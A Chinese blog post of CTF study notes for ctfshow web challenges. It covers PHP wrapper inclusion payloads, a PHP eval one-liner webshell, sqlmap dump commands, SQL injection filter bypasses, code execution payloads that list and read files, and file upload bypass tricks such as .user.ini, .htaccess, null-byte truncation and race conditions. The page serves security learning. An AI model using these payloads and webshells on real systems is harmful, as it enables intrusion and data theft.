Advertisement

ctfshow——web(总结&持续更新)

阅读量:

文章目录

  • 1、基础知识部分

  • 2、php伪协议

    • 2.1 php://input协议
    • 2.2 data://text/plain协议
  • 3、webshell连接工具

    • 3.1 蚁剑连接一句话木马
  • 4、各个web中间件重要文件路径

    • 4.1 Nginx
  • 5、sqlmap使用

  • 6、php特性

    • 6.1 md5加密漏洞
    • 6.2 php特殊符号
  • 7、TOP 10漏洞

    • 7.1 SQL注入
    • 7.2 代码执行
    • 7.3 文件上传
      • php上传特性
      • 检查后缀
      • 检查文件内容
      • 代码逻辑——条件竞争

1、基础知识部分

  1. 识别base64编码:大小写+数字,偶尔最后几位是= or ++
  2. session :session是保存在服务器中的,服务器通过数据包中的cookie的PHPSESSID值来判断哪条session中保存用户信息;$_SESSION['password']是利用cookie中的PHPSESSID来找相应信息的password值。
  3. 常见的网站源码备份文件后缀:tar、tar.gz、zip、rar、bak。常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp

2、php伪协议

2.1 php://input协议

关于php://input ,简单来说:当php://inputinclude 连用时,数据包中的post字段将会当做php代码执行。

复制代码
    # 查看当前目录下的文件
    # GET传参
    ?url=php://input
    # POST
    <?php system("ls");?>  
    
    
    bash

2.2 data://text/plain协议

关于data://text/plain ,简单来说:当data://text/plaininclude 连用时,data://text/plain 后面接着的数据会被当做php代码执行。

复制代码
    ?url=data://text/plain,<?php system('ls');?> # 
    ?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式
    
    
    bash

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错:unable_to_verify_leaf_signature ,是证书的原因,目前的解决方法是将URL中的https改为http。
在这里插入图片描述

4、各个web中间件重要文件路径

4.1 Nginx

复制代码
    # Linux
    /var/log/nginx/access.log # linux下,nginx访问日志文件默认路径
    
    # windows
    C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
    <Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径
    
    
    bash

5、sqlmap使用

sqlmap常用命令:

复制代码
    python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
    python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
    python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
    python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
    python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容
    
    # 使用--tamper脚本,将空格转换为内联注释符
    python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*
    
    # 判断是否存在SQL注入
    python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数
    
    
    bash
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/8wIq2l3VMeGOL9FA0bgZkPXQEy1v.png)

6、php特性

6.1 md5加密漏洞

  1. md50e漏洞:就是说在使用md5()==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
  2. 当使用md5()===进行变量对比的时候, 使用数组 可以绕过md5()函数的检测。
  3. md5 true参数漏洞
    md5($string, true)ffifdyop129581926211651571912466741651878684928可以得到'or'结构的字符串。

6.2 php特殊符号

复制代码
    # . file = source file ,用bash执行file这个shell脚本文件
    . == source 
    
    # 执行系统命令
    `ls` = system('ls') 
    
    # php短标签
    <?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
    
    # ?为通配符
    # +为空格
    
    
    bash
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/WgziHMy8nEpZh4j5Aw7kK6PstYr1.png)

7、TOP 10漏洞

7.1 SQL注入

SQL注入常见的测试方法就是:

  • 在参数后面加个',看返回包是否报错;
  • 使用万能密码1' or 1=1 --+,看返回包有没有反应。

登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。

SQL注入绕过:
1、空格被过滤

复制代码
    # 空格被过滤
    username=1'or(true)#  # 用(true)代替1=1
    username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格
    
    ##经过测试过滤了空格,所以用内敛注释进行绕过
    id=1'/**/and/**/1=1/**/#      正常返回
    id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入
    
    ##或者
    id=1'/**/and/**/(true)/**/#      正常返回
    id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入
    
    ##或者
    id=1'/**/or/**/(false)#  返回一条数据
    id=1'/**/or/**/(true)#  返回当前表里的所有数据
    
    
    sh
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/zcyCWU7oET2kOq5mgdYtM4I0VsnP.png)

2、单引号被过滤

复制代码
    # 单引号被过滤
    双引号代替单引号
    
    
    sh

3、with rollup(虚拟表)绕过

复制代码
    # with rollup(虚拟表)绕过
    group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
    group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。
    
    
    sh
在这里插入图片描述

7.2 代码执行

题目中若存在cmd参数,可能存在代码执行。尝试cmd=phpinfo();

复制代码
    ?cmd=phpinfo(); # 如果这能被执行,后端应该就是类似一句话木马的写法<?php @eval($_GET['cmd']);?>
    
    # 读取当前目录下的文件
    ?cmd=system('ls'); 
    ?cmd=print_r(scandir('./')); 
    ?cmd=print_r(glob("*"));
    
    # 读取文件内容
    ?cmd=highlight_file('x.php');
    ?cmd=show_source('x.php');
    
    
    bash
![](https://ad.itadn.com/c/weblog/blog-img/images/2025-07-12/9eNPzQFHA12vfxbMJniL8TsZaIWk.png)

7.3 文件上传

php上传特性

在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除,并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows)php**.tmp(Linux)
在这里插入图片描述

检查后缀

  1. 黑名单绕过
    • 特殊后缀名
      在某些中间件中,.php3,.php4,.php5,.phptml 会被解析为.php

    • windows特性
      1.php.1.php[空格]1.php::$DATA在windows系统中保存为1.php

    • 双写后缀名绕过
      仅当后端使用类似preg_replace函数进行关键词替换时,可以使用双写后缀名的方式绕过。

    • .htaccess和.user.ini * .user.ini用法
      前提:保证三个文件(.user.inishell.pngxx.php)在同一目录下,再执行该目录下的php文件。

复制代码
        //.user.ini

        auto_prepend_file=1.png
        
        //1.png
        <?php phpinfo();?>
        
        //1.php(任意php文件)
        
        
        bash

注:三个文件在一个目录下,就相当于1.php文件开头插入了include('1.png');进行文件包含,解析1.php文件时会使用php解析器解析1.png文件。

复制代码
   * `.htaccess`用法
复制代码
        # .htaccess文件

        <FileMatch "shell.png">
        SetHandler application/x-httpd-php
        
        # shell.png
        <?php phpinfo();?>
        
        
        bash
  • 区别
    .htaccess文件是Apache服务器中的分布式配置文件;.user.ini是php配置文件。

    • 配合中间件解析漏洞
      需要总结各个中间件的历史解析漏洞 。如apache陌生后缀解析漏洞和apache换行解析漏洞。
    1. 白名单绕过
      • %00截断(GET传参)
        前提 :PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态。
        原理 :上传1.php%00,最终保存为1.php

      • 0x00截断(POST传参)
        在hex模式下,将1.php后面的16进制值改为00同样达到阶段的效果。

检查文件内容

  1. MIME绕过
    数据包中Content-Type字段表示文件的类型,修改Content-Type的值绕过检测。常见的MIME 类型如下:
文件拓展名 Mime-Type
.html test/html
.jpg image/jpeg
.png image/png
.gif image/gif
.txt text/plain
.php application/x-httpd-php

文件幻数检测(getimagesize()exif_imagetype()
其实就是检测文件内容,以下是常见的图片文件头字节。

类型 文件幻数
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61 (GIF89a)
PNG 89 50 4E 47

二次渲染
简单来说,就是后台会根据你上传的图片,重建一个相同的图片

绕过:

复制代码
 * 对比源文件和渲染后的文件,在没有变化的部分加入一句话木马;
 * 对于做文件上传之二次渲染建议用**GIF** 图片,相对于简单一点。

代码逻辑——条件竞争

检测原理
一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
绕过方法
利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

全部评论 (0)

还没有任何评论哟~